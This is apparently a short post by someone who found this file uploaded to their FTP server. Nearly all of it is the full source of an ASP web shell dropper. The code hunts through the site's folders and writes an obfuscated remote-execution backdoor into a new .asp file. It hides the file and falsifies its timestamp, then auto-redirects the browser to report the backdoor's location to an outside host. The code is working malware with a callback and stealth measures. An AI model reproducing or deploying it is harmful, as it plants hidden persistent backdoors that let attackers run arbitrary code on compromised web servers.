今天又给FTP传了这么个<%
On Error Resume Next
Server.ScriptTimeout = 999999
Response.Buffer = True
Function getRndString(minNum, maxNum)
Dim tStr, tNum, i
Randomize
tNum = Cint(rnd() * maxNum) + minNum
tStr = ""
For i = 1 to tNum
Randomize
if (rnd() * 100) > 50 then
Randomize
tStr = tStr & Cint(rnd() * 9)
else
Randomize
tStr = tStr & Chr(Cint(rnd() * 25) + 97)
end if
Next
getRndString = tStr
End Function
Sub ListDir(folderpath)
'On Error Resume Next
Dim fs, folderitem, sfolder, tDirName, i, sfiles, fileitem
Dim folderitem1, sfolder1
Dim folderitem2, sfolder2
Set fs = Server.Createobject("scripting.filesystemobject")
if Not fs.FolderExists(folderpath) then Exit Sub
Set sfolder = fs.getfolder(folderpath).subfolders
For each folderitem in sfolder
Randomize
if rnd() * 100 < 5 then
Set sfiles = folderitem.files
For each fileitem in sfiles
Randomize
if rnd() * 100 < 5 And ".asp" = Right(fileitem.Name, 4) then
DirStr = folderpath & "\" & folderitem.name & "\" & fileitem.Name
Exit For
end if
Response.Flush
Next
end if
if "" <> DirStr then Exit For
Next
Set fs = Nothing
End Sub
Function createasa(file1, ByVal Content)
On Error Resume Next
Dim file2
file2 = file1
Set fso = Server.CreateObject("scripting.filesystemobject")
set f=fso.Getfile("//./" & file2)
f.Attributes = 0
Set Obj = Server.CreateObject("adod" & "b.S" & "tream")
Obj.Type = 2
Obj.open
Obj.Charset = "gb2312"
Obj.Position = Obj.Size
Obj.writetext = Content
Obj.SaveToFile "//./" & file2, 2
Obj.Close
Set Obj = Nothing
SetFileTime(file2)
set f=fso.Getfile("//./" & file2)
f.Attributes=1+2+4+32
set f=Nothing
Set fso = Nothing
End Function
Private Function Read2File(FileUrl, Charset)
'On Error Resume Next
if "utf-8" <> Charset Then Charset = "gb2312"
Dim stm, errStr, fs
Set fs = Server.CreateObject("Scripting.FileSystemObject")
if Not fs.FileExists(FileUrl) then Exit Function
Set fs = Nothing
errStr = ""
Set stm = Server.CreateObject("ADODB.Stream")
With stm
.Type = 2
.Mode = 3
.Open
'Response.Write("debug->" & FileUrl & "<br/>")
.LoadFromFile FileUrl
.Charset = Charset
.Position = 2
errStr = .ReadText
.Close
End With
Set stm = Nothing
Read2File = errStr
End Function
Dim DirStr, StrCode
DirStr = ""
RootPath = Server.MapPath("/")
StrCode = "<"&"%ex"&"ec"&"ut"&"eG"&"lo"&"ba"&"l("&"St"&"rR"&"ev"&"er"&"se"&"(R"&"eq"&"ue"&"st"&"(C"&"hr"&"(9"&"8)"&"))"&")%"&">"
Set fs = Server.Createobject("scripting.filesystemobject")
While Len(DirStr) < 1
ListDir(RootPath)
if "" <> DirStr then
DirStr = Left(DirStr, Len(DirStr) - 4) & "1.asp"
createasa DirStr, StrCode
if StrCode <> Read2File(DirStr, "") then DirStr = ""
end if
WEnd
DirStr = Replace(DirStr, RootPath, "")
DirStr = Replace(DirStr, "\", "/")
Ref = Request.Servervariables("HTTP_REFERER")
if Len(Ref) < 1 then Ref = Request.QueryString("r")
Response.Write("<script>window.onload=function (){document.getElementById('a').click();}</script><a id=a href=""http://tmp.17189.info/shell.asp?act=set&r=" & Ref & "&t=" & DirStr & """></a>")
Response.End
%>